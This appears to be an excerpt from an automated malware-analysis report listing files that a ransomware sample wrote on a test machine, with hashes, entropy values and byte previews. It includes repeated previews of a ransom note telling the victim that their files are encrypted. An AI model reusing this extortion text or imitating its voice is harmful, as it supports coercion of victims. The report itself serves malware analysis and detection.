                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.811454671624709
                                                                                Encrypted:false
                                                                                SSDEEP:24:gMnIL2x1YHk/vZQp+3KcE/7FfqeyZcvrTfu/AeY:QL2PYHkXuck/7FfeZ8Tfu/AeY
                                                                                MD5:69695CB83ED910577C2723FF2E1C0E62
                                                                                SHA1:E942BF171EAE693174A787472164635DE106CDA7
                                                                                SHA-256:564C03B61DF5B669608F4968B5A4D7F3F6369DB57030D8B88ED037A171C05C1D
                                                                                SHA-512:037C595858D4FAD7BE76532D32BBEA9349EBB2A685874538739E7786C0E1F934481466956EFD9BD84C39094DCE65C6947603B2AAF00D2993A4B203EA2E39BCF1
                                                                                Malicious:false
                                                                                Preview: ..~.[.O.?.#..R.......{......!E......&......,.c....v4....?..C..Z... ....7.....0k".6*....>h.\..&.....z81W|.R...o..-.#hn.}./p....E@.RA.#..]60w}%"..6.......&/."...2.k..-A.~+~..[..&L&..H.z......[4.ws./..F. .D...H..]...)N.6{...V..@......;)..h+....[0..18..P....%.......b..k.L.t[.hF.....k7...m.>.j.L.V3nxc..6.kE3c..uk.S.$._....B....E=.ou.....c...._.O.-..F|_.9..mW........."..td..1.(.m.*.....NR..?..Ic.'.W...'.<.2.)..Lb..K...R..4.(.w..?D."...uA....w.#..d.v..&c.=n}q...{......7.....o...c...y.....j.\.....c.d..^I....W.id1...\3+@.........WO.l..{.~k.N....j"...].Z.E.c7aO..Y9.?\...0....v.K..h.HB3..g_./"......m..{...=q.R.....3..$.WHoq'..;.R..$+#}....l..-..:.....3.2...%D..x2.O~P.E2q.&....I.. ..R|.....Z=.W.Ci..\.J.i.F<.s....L....<-csH.......zE.).....dN.}.[]D..aK.K.).DsR.F.,y^.....Q0......{z.t..<.....1".f.tHC.`...'H..D%.J...?.*...Gq$D.K.PW.X........{....+....n8&mt.B.....X._.G.1F..9.sM..H.\*.m.8A...V.G.....@|.J...B.c.."..R..=L...l@...6...~..l...d..l...fZ.[....R..
                                                                                C:\Users\user\Documents\BNAGMGSPLO\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\BNAGMGSPLO\BJZFPPWAPT.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849162893159549
                                                                                Encrypted:false
                                                                                SSDEEP:24:NOYA6RwZnC+ywgyI1QXvJuwQeKj96FftlxCkT+mvOlIrTfu/AP:1A6CwMIIv4wwB6FQa+wTfu/AP
                                                                                MD5:23AE4E6C294088BB8331EEEBC1074246
                                                                                SHA1:0E84A3EE0F1BB4208AFA00E5FD4035F7C03A6EDE
                                                                                SHA-256:9A8917C43D30D3F3EE312BBDA0499CAB2437C89D8124A73B95A1995B13BB916F
                                                                                SHA-512:EE0DBD064DA93F434D90BD17B307D3DC8E02CF47F77EE0E831DE1AFF633CD98C95807CA674EE7865B2E467F5BF6B200630CB1B60E37E7AE4E4DBEC1E8B49B89D
                                                                                Malicious:false
                                                                                Preview: .Z.......M.l.%.Z...U....7.Q......p#.V...u@.E..G.g$.m...x..d.a.>.r.....m:...V.....O..b........zYTV:LF....f.f."#`...MO.P"...!..v.s L..v....Sb.......C;.e...4.c.`..Fo.MSi....*..zL.H.!.]k[....ef...Y...........E.`..s.I/B25...mR./.@.f..2...C:28. 3aX..f.V...`..C.!8...z.....J.?.]........|uS!5....%."OC. .... .....>.+......v_].?..-.....8$!y.....$...] $S.....o.\....1...J...2......../X...XNi|.6J}.T_...C}..D....S.Bw.h..]...............%4.x..[=....X.5ORSwJQ*#.T...z...W..L..B..\....1.\^.........1~1t.X".W6... K.J...Z..T...yej..;T...5j*t.....W..2 4n}.....y.Et.z.c{;.G..Z...O..D....fP3...B...R.TS9.Isk7.<...)..aNy.E.[Y>..=.>....9.+.R...?..R.i{.x?.r..L.....{.].l.B3...^..?.\.....U;...cF..@.F.....mg..$..Q.=w].j...|j...@...&V.)#.....^#....]>E......J.@x9.Mh......J...BG..'.h..~]......UI....."\..;.}..n.[........S...\=..1.w"F....".%@...%cX/~r...Qt..g-*)#&..)a..@x$d.\./.{..v.Rd..*`.[..3.p....iYm*0cf..k_Q.....b...0.M.1.....E.l...q..[........5z...I.8...BZ.ys.*..Y5"
                                                                                C:\Users\user\Documents\BNAGMGSPLO\BNAGMGSPLO.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.866165118115974
                                                                                Encrypted:false
                                                                                SSDEEP:24:IPPI1ndhmLg461cQs363FZVGWNhG+c7iWAzJsTchlE7PCXabWK478dwrTfu/Ay:7jwLg4rgMWNKAKTElE+XaCK1dyTfu/Ay
                                                                                MD5:719B8019D7EA87E7CFB2CBF5477CA361
                                                                                SHA1:0ED0DF0261C71DDF0F66B43D8296D387419851A7
                                                                                SHA-256:531D359CA2702A8066154F719FBA363EB15334AC7EE3CC52CE7E96214C0FB0C0
                                                                                SHA-512:E099220065A9B58225B9640ACB24471A59831F9C83180D3F8D1A786228042D1F017A84A8AA94605F895A5178ED78673627E1F2CA76BE4B028FC87509BE881C9E
                                                                                Malicious:false
                                                                                Preview: .2.U.N.X.L..Dh[.c.T.O..Q.5..H...[`...NU..O......c..qh...X.f"....ei.kG...0..~.P.>..E.}.FD.c.-...H_@k.N.l.3Y.._.X..X...FZ...O...|^z..Y.:.Nt4.zt.m..j'..AtI.o..~i_..<..F.%...@......1y..n...^.?.g......z{b.4.A......A.%2V...`%D'..^.5..`*+q. m...:...Y..@...]C...<..n....T..oM.1..1..x.....woQ"..n^...1.<.....I.-.....@M....;54,.u..K.E4.l..X....{.Y... ..JJ..e%,o>....X...6qs...2....[.P.v..n..W_Yb..;..M....:..Cr....?..k..~......n..m.%..9....>O..D`....q.C...1.]..'..r...B.U...wDJ..........2........n....%@G'VVo..8.q.....6H.\.K....:..A...a`2=..{..0.d..c"..Lx+...7.6...3i..T......|..Ve.....".p.(Y7..b..',8....Q...e.~...G.....:$Z~..^#..n.j.A.'..?m..VkX...........e.q...l..ru.%....!...Z.y...)S'&`V..71..l..YQ.a....n.D....K..r......%.f.Q.2.......]...X-. H.[..C.^.Ix.9.......P.....-.B..(...C\.p .D..f...Q-.....i]..t..)O.>.....lX.>..+E+.S..\.L|...@.Z7|]%.~....nv..9... t%<.I.K..Q9...Z6....E..}.q"2..h*..a..k.J..gw..........!.KvjQ...n%.{.......g..B.9..r{...... y.>.(.
                                                                                C:\Users\user\Documents\BNAGMGSPLO\EOWRVPQCCS.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.847381774509279
                                                                                Encrypted:false
                                                                                SSDEEP:24:d+n7fdhmm7Bc1CHhHZCQfPIuOBXVt7eP1JHdrTfu/AQ8Ve:47fdsmtc1AH0QX1OBXVtWDHlTfu/A5e
                                                                                MD5:3D18D3E910C78A7ED26ED6FA292E5FB9
                                                                                SHA1:9C4B33226E072F7160DFA1F509D3D3BD9D75220A
                                                                                SHA-256:720008E026DE9EEF8A00226C5DE7B9C8DBC24F0D70634AF6B5137031DE0BBF87
                                                                                SHA-512:14B387D576C2B7B8D7BA5ADBC60016A2C379CA3164E82D1F6D9EB2A893735F86D0CA5BA530B980B55BD44AC15C9C58D3AAA2EF2E36F06F3129AED7123984CE41
                                                                                Malicious:false
                                                                                Preview: .`Ru._.5.$.e. .....I....E.B9g.25CP+2(/.\..eT90......^..)DD..#.-V:.dw.)u...hB3.\8..9|..-+!..N.1.Y..E_...xk.....j&..``.."..:..;..H.....6....d...V+....Ne....n.O...*>A...._. Q..V.k.=L>..=..n.Oqd..T.1.(.F..+.[D....~..4:',dvs ..).Q....pE~..3. ..j..ut.E.o=i..pO.D..........}....g..\..;.A..c+Za".%..``t......j..0...........N.....%&..(..|.............N....m.....%...)k...V..!"._.<qW6....Ghk>.KR.......p....Yf..z).$...).5.....x......LH............3...cn....$....X...m..3...:.\.34.~,.*.;..{nE..+..A.E...].3uQ....W....@5s....Uh....|.@.{e.r..7...i2..^s.fC.U..u6.......%..'..r.y.@13.R.CXfGm...|.J.....$\dP..D.,.8 ..<...j.K.A...7..].........E...*.[s.5[]>..8.d.T...+jzH.i.q.....V....0....Bg..s.F...f.we..*!/..#.-.....s.[.._.0.f..y.......~G.U7.L..K...p.K&...%..]aq.K.a.......5.HH*pGK.........N+%.xd...^..6.s.....?..&.p....U....3.U.....]e....~.m.J.]..5a..Sm@a..........L.v...^r.k.....L.&...L....7...g19$.FY9s....w...]..;.. ...i]f.9...Hd.......N..I.j ...!...~.7...
                                                                                C:\Users\user\Documents\BNAGMGSPLO\EWZCVGNOWT.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.870218417029394
                                                                                Encrypted:false
                                                                                SSDEEP:24:hIx7ZkqzC6ZjPFgd6/U38RTJvcruqebwTw9Ec7SrTfu/AWaJGF:hIjn1w6C8pJvcruqeMsiTfu/AWaYF
                                                                                MD5:FF1C4E96C514DEB14FB6DED26676898A
                                                                                SHA1:4126B22E2E6B107B1315A09B735AAD2E6B5A4BC1
                                                                                SHA-256:3686FAE84A7DE281DB6EE1F8299F56DAC668095BEEF21FC349F342479F1C092B
                                                                                SHA-512:2BD0E5EFA41597282BD4D993B7A09C0269B7F16ED3A46096F7D09A6089E577854EFC7E9666801778BF224FCE26563D439ED19752E6B0EEAEAD699A0AA64F3A5B
                                                                                Malicious:false
                                                                                Preview: A.+SN...%...%..{cxq..'->._D...s".0...n+`v..._.t.3.. .;...a...........#...~A.."............Bt(...J..L}.gO_B.;.....>.g...4...5.u<...|..(.X...N...#..,..K.O.%C...1..r.m...e.W..L../:....o..k.8..F*...Y...M..}..K3T3ca...P....~ki-.$.uM...i.$/M..P.Cw.g..$k.[...,{._........D...v......,....X@.C..8...........g...;1.l..Z........[...c....L+...i.....X.U..{.Cc.r..:......$k.z..L.V..I..(-.p81.W..faV9.......O.'<\...7...R.y..u...x..$..(..P;2.t.u_0.de.......:....s....o...^.+.......>%$l.....,'.7h.?..:...^$........w.:.\...;.r..hM.....j..[-%.".V.u....d....zL..7px..;..6.>.1.d..,...q......Q...._mT.+...R[8...#.^qS.TZn.hT...VWL|6..Nr.{6P...^0...Ao.0...P...{.v...,.J....Z...64......KA..?...;...H..B.'.. R.\.YW...zh-...F..:.V..7.-r.P..Y..O..._....\d6.....,..~...Z.F.b..d.....1..Y$.2U....X........%NQ.$...4HT"L..J.....Z#.e...........2...*...r..F.p...9...x.`Q.h~..Y....+^.O;:..<..#*.......2......[.RJo.x$..U_.h\....B......~kH..7C.w.lJ*..VV..o..X....!.....VD@.@.U
                                                                                C:\Users\user\Documents\BNAGMGSPLO\NVWZAPQSQL.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828426826686227
                                                                                Encrypted:false
                                                                                SSDEEP:24:sM0Zns+DRJvW6pDGpy563A38kfx9E8phSE37PPF9ZWMxrTfu/AoL:sPfrv5p6pi6c86Z7371ff5Tfu/AoL
                                                                                MD5:B778D6A29FE1B5AE305494B70E777695
                                                                                SHA1:A885FEDC735FE8A79582E1FD9F45D86767244ABF
                                                                                SHA-256:3D999016A0600BC09529750971AD0A963FD730E2BD19AFF6ECCF768FD0404D38
                                                                                SHA-512:D182D94525919F614CA1F4BF19F8921475CC56C5A411CE04C13637DDC48FB982C217C22D4FA3E998809045AC19FC1558462B7FD81B473A23D32754BA5F92D588
                                                                                Malicious:false
                                                                                Preview: H.E......K8._i.n3.fHc...|........,.)M.........$.....r) '<..T....y{.[M.....n.Zb?)....0^.j.....%"...VZ.....G)..~.....!^.['..EB..............|../.Kc8.._.....O.5....Q...a@.1...Z=b.V...}..2....Px0nff.....!Sye,.Uc.{......|..r?9.xUU).....$..mV5..:..uS....D.d.....P*..jB5>44^OG{.g.\...O..#.l@.i...$iiN....h\,.w....,w.cq.*YT&c....x.|(....~.V..!.\aS....Md..j7A.f.t..#.q.D8...Dm.O..#.c*.D....y....o.....Bb7...\..E.....X..5..g..D.K.\)n.6R.Dk.(..o.9.A.K.....Sb(.H.2o....M....6.....#.C...]....t.V..j.;".Y8.O.bA#....$.j..s..w.....O...8.CH.$P#..-~..79....~..c.O/...M.|+.XV..h..l.|..E..-58..0.xH.K..-Vs.m...WDx,q..p.....jOmjV.0....}..(..E../l%.j..t.........;W.....7.%..E...;.Q8.|~..".3'...L.N....ig..;Li!.O..>[..4z#....^...7..v}$d..FD.%D.......`c.m.S0...n8......Xy.`2UE....e[...4...x.6k....d....R.I...G.JQO..=!..8~(T...^.o!.0.h...DV...G%.O..\\...-V.*e{..{....0|.V.%...~..8o3.k>y......*<.........5.<....#.......<L....3.....G).(.h.{.J?a.5+i.D<...%~B._.....'.ALo*.w..m......L.K....
                                                                                C:\Users\user\Documents\BNAGMGSPLO\TQDFJHPUIU.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85297937014682
                                                                                Encrypted:false
                                                                                SSDEEP:24:RllBrlIph9bZ7jsO5c32Dm+zkixJMBFW7ZNuJHrTfu/AD+B2t:zCh1Z7jTdm+x+wuJLTfu/AB
                                                                                MD5:68F7F4957770790B2AB74601F29836CE
                                                                                SHA1:60D10936A44EF5DF60211E987D29D3628F14764F
                                                                                SHA-256:EDFF83022FDE2EA240D1B571503B208CE5086F06DEEA8B8EEFC8C0AE3406D926
                                                                                SHA-512:9A05FB749149236CDFA127A26F432440365F72C71DB92604004E66C3D9458D7E32EDB40B0F21397362E8314A1214942E55EB59ED43A70CE784C43F55CA95B6D3
                                                                                Malicious:false
                                                                                Preview: 1.[..u......_{&,..n.OzB...Y..?*.:."....T..G._i....jw..;._.tY.I).!.EZ...cI.`.a..Xk,...QAX..._N.g....V......7t`.v......;Kh..c.w..k.".m.d..._....p.k8w.-.....S..C...8..&....MO[..;...W..E..Y........v\.,.Eo-.^Mm+...LCG...s..C...\..y.......c.....CB9..A#;.......w.W..D4..>.L.6./....T\..?v.1.....&.rP.j....G.Q. ......?..m.......r......@...M.........[G:-.k.......q|?.Q...kq...v....Q...j;S+......1..D.nq._.a........!..0=... ..W.2....X7..u...u.\6z..}>....3.]*?....K...I.G..K4.K..cj....+.u.y...n'..(..Zs..?.$..us..gJn..~.....4......Z..W...:(.GBKu..}.I..v:.b..O.4j..../.0.ab.w.r.^....1\Da.....}..m.9..c._...>X!....!..Ev.|....g......o}0..:.kr).e.).......q....t.o.q. 0.9.c.^.z2mh...#..6NQX.c..+..7.f{.........EB!C....};.T...E..".....46.+.....O..!b...u...MB..&....=..:.....~......P\%D...S.[a7...i.g........;d...7G.mA..I.`Y...,..X*Bt.cM.....-....d...l...SG..h..`..`..z".....}..-..1.}..e&.......GF...ty.r...u.@......2....QD.R./5...A.u....t..0P."eoU....3...
                                                                                C:\Users\user\Documents\CZQKSDDMWR.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854839288835355
                                                                                Encrypted:false
                                                                                SSDEEP:24:QmftSW0o+TypMskwKYxcFAghyrZJ8qfPMCQIVIrTfu/AL0bOc:Qcg3upMsvlcFAeyroQPlwTfu/AL01
                                                                                MD5:3F92954FF558442054413F0746ABA6DE
                                                                                SHA1:761F669DEA85528252ABC36E98F9016FDB8A044C
                                                                                SHA-256:F845C7D63F437B084B51EEF2DB85C3E7ECD6A4B7318C93E23F40C6431C486EB8
                                                                                SHA-512:5B937BA2885D9E031A22F0552B294EC353C44389F80CE5965D83F07372AE98D9E6B939A83F2DFA0252E97A00E7D368F4B7DD10A26A21E0CAAC97BD3C822A9822
                                                                                Malicious:false
                                                                                Preview: .....b.k}.......X'...y/sB..>.o.3ac......^.... V$..5JW.O\WE.MN.. ..@."Q.#.bC.(....7!........ly,3klQ.NqGZ...j...@..-s.....W)..@......)^....F.....Hw..|.....b....$.8?{.c.^..CME.i.|N$0.X..?.P......o|']%..H.U../!.h....T..t.UT^.Y..Uu.+\.T....4&.Q1z.?m..._....zX..2K.8x."...>.e..q.P...=;.....,M....yP....?.|f}...Z......@p.g.[......h.....&....,6..[....4.%Y.-...$3+$....(......&F..6......Y7.,.T....|.....V..;....[J..9(.L...s...Wt.TM)8.}...qw.......h.J..?...ZE./......$5`&......i...F.<...I.L......A.>$mp. .rw..!.1.^.Q..K.......<...~K.mK.cU....G..X.lG......[....=:..".U..UV.m.X...TdJI.<LL%....... s.DT.+.5'.(...l0..[i..T.L}.^!....,.....(w?...o.J.%.4.H....z.......u..xW":.a.i....%q.6....T2...N.K...n.`.lr.K.)X..7.L..3...R....e..K6|.o:...Kr.Sy#...3...x\...A.hqF.u&5/.S.+.<.}....mT....o...O...[...m_w`i.t........G?.A...zF...=...].......q.....>.vr..\..7....s.tV..._.r@.....54..Y#.3.&..j4.......^D._.'J*.i.z.....f.......T..Z..#....}....K.x}V.j.l`.&.a.4^...m&l
                                                                                C:\Users\user\Documents\CZQKSDDMWR\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\EEGWXUHVUG.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:COM executable for DOS
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855585821223868
                                                                                Encrypted:false
                                                                                SSDEEP:24:gDjGQvdDzDQzRbH1QBQS31HAYip9Exb21dPsPlPghwwCgT2L88rTfu/A6xip:gDqQvdDf4uQS3WEA1KvPzL8uTfu/A4+
                                                                                MD5:497814BB2B6449152F84C6CD4A5AE95A
                                                                                SHA1:387D6D3E0C0C85065EE1D33D61A04C6F2A70BDA0
                                                                                SHA-256:0E95FE1D4D1A4F133A55EF238C73483F4059145BE57D9E5AA3EB818B264D3240
                                                                                SHA-512:B696BFE2D602A831523D70BCA4606D7C61561F1A7A3930BA15389F2A30389BA02D12851DE1D8CE3ECAC40597114A13FD1834A7285BA3B559840B62DD0E7364A9
                                                                                Malicious:false
                                                                                Preview: .0..'E.#a%.m+....|.G.......%)..V...!...........$.4o.a\..g.V0....d4..C!*...M.|..-,.(.t.V.21....\..G....c..._.Z.]J.^..S..|..S....M..,..Q...q..myAYBTQ.|....R.l.HzJTT..3..%.pL ..u.sr].H..].....Q...i>..V.F.<....Sj.....@X...{.Y..O.s..r1cL.ae..ZJ.@o......h.3.5bn.t..........Z......9.9....'...8..M.........s..A..E#......:h`._....(j..u.O.."_..G.'..m.|_.R.8.....w".+...>.s5!..j....q...{ch.. (.....-d'.L0..KC9D+..uP.Q....:[.r..Q@.....h..&.Al....x...i*(&.F.`...dK9..E..V=..+......J.....6.N..dl.W...F.p.y...>A.~b.I.9y`.pw..4.fK._....ULZ..q....v....p<..?.,..E..ho..I.+B..n..P..9.].......4\&.O...r.g.b=4.R).oP.e..x...f|.6......c5.5xY......{?.....|.h...]...?..`......r...ZB.F..-.....-..".......3....N..~P../...!/.oaB`...;I.l..I.m.....y.7..7.FW...t:..o...........A40.?.........eG*..v....V...2...2S5.(.....U.LC\...dN)..`e.=.N.M./.7m.B......q. \&0;..........<7O....T{...#z..<...,..,...3o...O...S[ ......@9......S:3.y..@...u.r........im.....\...
                                                                                C:\Users\user\Documents\EFOYFBOLXA\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\EIVQSAOTAQ\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
